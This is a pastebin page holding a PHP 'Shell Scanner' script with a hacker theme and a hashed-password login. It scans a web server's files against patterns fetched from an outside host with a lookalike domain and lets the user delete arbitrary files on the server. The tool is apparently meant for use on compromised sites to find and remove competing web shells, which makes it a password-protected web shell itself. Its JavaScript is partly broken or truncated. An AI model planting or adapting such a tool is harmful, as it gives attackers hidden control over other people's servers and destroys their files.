PasteShr

New Paste Browse

<?php
session_start();
$HASHED_PASS = '$2a$10$myvs622HDRcJMDi.VW2kAuq1rySe0aoNdycnXkht65JMygAzs/luC';

// Default root path dari server
$DEFAULT_ROOT = rtrim($_SERVER['DOCUMENT_ROOT'], '/');

// Ambil root path dari session atau cookie
if (isset($_SESSION['scan_root'])) {
    $current_root = $_SESSION['scan_root'];
} elseif (isset($_COOKIE['scan_root'])) {
    $current_root = $_COOKIE['scan_root'];
    $_SESSION['scan_root'] = $current_root;
} else {
    $current_root = $DEFAULT_ROOT;
}

// Handle update root path
if (isset($_POST['update_root'])) {
    $new_root = rtrim($_POST['root_path'], '/');
    if (is_dir($new_root)) {
        $_SESSION['scan_root'] = $new_root;
        setcookie('scan_root', $new_root, time() + (86400 * 30), "/");
        $current_root = $new_root;
        $root_msg = "Root path updated successfully!";
    } else {
        $root_error = "Invalid directory path!";
    }
}

// Handle reset ke default
if (isset($_GET['reset_root'])) {
    unset($_SESSION['scan_root']);
    setcookie('scan_root', '', time() - 3600, "/");
    $current_root = $DEFAULT_ROOT;
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

if (isset($_POST['login'])) {
    if (password_verify($_POST['password'], $HASHED_PASS)) {
        $_SESSION['logged_in'] = true;
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $error = "Dont Be Mad, Motherfucker !!";
    }
}
if (!isset($_SESSION['logged_in'])):
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>🕶️ Hacker Portal Access</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        body {
            background: radial-gradient(ellipse at center, #000000 0%, #0f0f0f 100%);
            animation: scanlines 1s infinite;
        }
        @keyframes scanlines {
            0% { background-position: 0 0; }
            100% { background-position: 0 2px; }
        }
        .terminal-box {
            box-shadow: 0 0 30px #00ff00aa;
        }
    </style>
</head>
<body class="text-green-400 h-screen flex items-center justify-center font-mono">
    <form method="post" class="terminal-box bg-gray-900 p-8 rounded-lg border-2 border-green-500 w-full max-w-md animate-pulse">
        <h2 class="text-3xl mb-6 text-center">💻 Terminal Login</h2>
        <?php if (!empty($error)): ?>
            <div class="text-red-500 text-sm mb-4 text-center font-bold"><?= $error ?></div>
        <?php endif; ?>
        <label class="block mb-2 text-green-300">Password Access:</label>
        <input type="password" name="password" autofocus placeholder="Enter root key..." required class="mb-6 w-full p-2 rounded bg-black border border-green-500 text-green-400 focus:outline-none focus:ring-2 focus:ring-green-400">
        <button type="submit" name="login" class="w-full bg-green-700 hover:bg-green-600 text-black font-bold py-2 rounded transition duration-200">
            ENTER
        </button>
        <p class="mt-4 text-center text-xs text-green-600">Unauthorized access will be traced 👁️</p>
    </form>
</body>
</html>
<?php exit; endif; ?>
<?php
if (isset($_GET['stream'])) {
    header('Content-Type: text/event-stream');
    header('Cache-Control: no-cache');
    header('X-Accel-Buffering: no');

// Gunakan root path dari session untuk scan
    $scan_root = isset($_SESSION['scan_root']) ? $_SESSION['scan_root'] : $DEFAULT_ROOT;

$patterns = array_filter(array_map('trim', explode("\n", @file_get_contents('https://cdn.cloduflared.site/pattren.txt'))));
    $allowed_extensions = ['php', 'html', 'htm'];

function sendEvent($data) {
        echo "data: " . json_encode($data) . "\n\n";
        @ob_flush(); @flush();
    }

function deep_scan($dir, $patterns, $allowed_extensions, $depth = 0, $max_depth = 10) {
        if ($depth > $max_depth) return;
        $items = @scandir($dir);
        if (!$items) return;

foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $path = $dir . DIRECTORY_SEPARATOR . $item;

if (is_dir($path)) {
                deep_scan($path, $patterns, $allowed_extensions, $depth + 1, $max_depth);
            } elseif (is_file($path)) {
                $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
                if (!in_array($ext, $allowed_extensions)) continue;

$handle = @fopen($path, 'r');
                if (!$handle) continue;

while (($line = fgets($handle)) !== false) {
                    foreach ($patterns as $p) {
                        if (stripos($line, $p) !== false) {
                            sendEvent(['file' => $path, 'match' => $p]);
                            break 2;
                        }
                    }
                }
                fclose($handle);
            }
        }
    }

sendEvent(['start' => true, 'root' => $scan_root]);
    deep_scan($scan_root, $patterns, $allowed_extensions);
    sendEvent(['done' => true]);
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete') {
    $files = $_POST['files'] ?? [];
    $deleted = [];
    foreach ($files as $file) {
        if (is_file($file)) {
            @unlink($file);
            $deleted[] = $file;
        }
    }
    echo json_encode(['deleted' => $deleted]);
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>💀 Shell Scanner Console</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        body {
            background: #000;
        }
        .hacker-box {
            box-shadow: 0 0 20px #00ff00aa;
        }
        .root-input {
            font-family: monospace;
        }
    </style>
</head>
<body class="bg-black text-green-400 p-6 font-mono">
    <div class="max-w-6xl mx-auto bg-gray-900 p-6 rounded hacker-box border border-green-600">
        <h1 class="text-2xl font-bold mb-4">💀 Shell Scanner By R10TEXEC</h1>

<div class="mb-6 p-4 border border-green-700 rounded bg-black/50">
            <div class="flex flex-wrap items-center gap-4">
                <div class="flex-1">
                    <label class="block text-sm mb-1 text-green-400">🔧 Root Scan Path:</label>
                    <form method="post" class="flex gap-2" id="root-form">
                        <input type="text"
                               name="root_path"
                               value="<?php echo htmlspecialchars($current_root); ?>"
                               class="flex-1 bg-black border border-green-600 rounded px-3 py-2 text-green-400 root-input focus:outline-none focus:border-green-400"
                               placeholder="Enter root path...">
                        <button type="submit"
                                name="update_root"
                                class="bg-green-700 hover:bg-green-600 text-black px-4 py-2 rounded font-bold">
                            Update
                        </button>
                        <?php if ($current_root !== $DEFAULT_ROOT): ?>
                        <a href="?reset_root=1"
                           class="bg-yellow-700 hover:bg-yellow-600 text-black px-4 py-2 rounded font-bold">
                            Reset Default
                        </a>
                        <?php endif; ?>
                    </form>
                    <?php if (isset($root_msg)): ?>
                        <p class="text-green-500 text-sm mt-1">✅ <?php echo $root_msg; ?></p>
                    <?php endif; ?>
                    <?php if (isset($root_error)): ?>
                        <p class="text-red-500 text-sm mt-1">❌ <?php echo $root_error; ?></p>
                    <?php endif; ?>
                </div>
            </div>
        </div>

<div class="mb-4 p-3 border border-green-800 rounded bg-black/30">
            <p class="text-sm">
                <span class="text-green-500">📁 Current Scan Directory:</span>
                <code class="bg-black p-1 rounded text-green-300 border border-green-800 ml-2 break-all">
                    <?php echo htmlspecialchars($current_root); ?>
                </code>
                <?php if (!is_dir($current_root)): ?>
                <span class="text-red-500 ml-2">⚠️ Directory not found!</span>
                <?php endif; ?>
            </p>
        </div>

<button onclick="startScan()" class="bg-green-700 hover:bg-green-600 text-black px-4 py-2 font-bold rounded mb-4">
            ⚡ Start Deep Scan
        </button>

<form id="bulk-form" onsubmit="deleteSelected(event)" class="mb-4 hidden">
            <button type="submit" class="bg-red-700 hover:bg-red-800 text-white px-4 py-2 rounded">
                ☠️ Delete Selected
            </button>
        </form>

<div class="overflow-x-auto">
            <table class="min-w-full text-sm border border-green-700">
                <thead class="bg-green-800 text-black">
                    <tr>
                        <th class="px-2 py-2 border border-green-700">#</th>
                        <th class="px-2 py-2 border border-green-700">File</th>
                        <th class="px-2 py-2 border border-green-700">Pattern</th>
                        <th class="px-2 py-2 border border-green-700 text-center">✓</th>
                        <th class="px-2 py-2 border border-green-700 text-center">Delete</th>
                    </tr>
                </thead>
                <tbody id="result-table" class="bg-black">
                    <tr><td colspan="5" class="text-center text-green-500 py-4">💤 Waiting for scan...</td></tr>
                </tbody>
            </table>
        </div>
    </div>

function startScan() {
            const table = document.getElementById('result-table');
            const form = document.getElementById('bulk-form');

const currentRoot = '<?php echo addslashes($current_root); ?>';
            if (!currentRoot) {
                alert('Invalid root directory!');
                return;
            }

table.innerHTML = `<tr><td colspan="5" class="text-center py-4 text-green-500">🧠 Scanning: <?php echo addslashes($current_root); ?>...</td></tr>`;
            form.classList.add('hidden');
            counter = 1;

const sse = new EventSource('?stream=1');

sse.onmessage = function(event) {
                const data = JSON.parse(event.data);

if (data.start) {
                    table.innerHTML = `<tr><td colspan="5" class="text-center py-4 text-green-500">🔍 Scanning: ${data.root}</td></tr>`;
                } else if (data.done) {
                    if (counter === 1) {
                        table.innerHTML = `<tr><td colspan="5" class="text-center py-4 text-green-500">✅ No shell found</td></tr>`;
                    } else {
                        const row = document.createElement('tr');
                        row.innerHTML = `<td colspan="5" class="text-center text-green-400 py-2">✅ Scan complete.</td>`;
                        table.appendChild(row);
                    }
                    sse.close();
                } else {
                    if (counter === 1) {
                        form.classList.remove('hidden');
                        table.innerHTML = '';
                    }

sse.onerror = function() {
                table.innerHTML = `<tr><td colspan="5" class="text-center py-4 text-red-500">❌ Connection error. Check your shell, agent.</td></tr>`;
                sse.close();
            };
        }

function deleteSelected(e) {
            e.preventDefault();
            const selected = document.querySelectorAll('.file-check:checked');
            if (selected.length === 0) return alert('No files selected.');

if (!confirm(`Delete ${selected.length} selected file(s)?`)) return;

const formData = new URLSearchParams({ action: 'delete' });
            selected.forEach(cb => formData.append('files[]', cb.value));

fetch('', {
                method: 'POST',
                headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                body: formData
            })
            .then(res => res.json())
            .then(data => {
                data.deleted.forEach(path => {
                    const row = document.querySelector(`tr[data-path="${path}"]`);
                    if (row) row.remove();
                });
            });
        }
    </script>
</body>
</html>

Paste Settings

Paste Title : [Optional]

Paste Folder : [Optional]

Syntax Highlighting : [Optional]

Paste Expiration : [Optional]

Paste Status : [Optional]

Password : [Optional]

Description: [Optional]

Tags: [Optional]

Encrypt Paste (?)

You are currently not logged in, this means you can not edit or delete anything you paste. Sign Up or Login

Recent Pastes

cr-code
Plaintext | 22 | 14 hours ago
Untitled
Plaintext | 360 | 15 hours ago
Untitled
Plaintext | 16 | 16 hours ago
velox
Plaintext | 36 | 20 hours ago
updown.php
Plaintext | 29 | 21 hours ago
kopi
Plaintext | 100 | 1 day ago
Untitled
Plaintext | 23 | 2 days ago

Paste Settings

Site Languages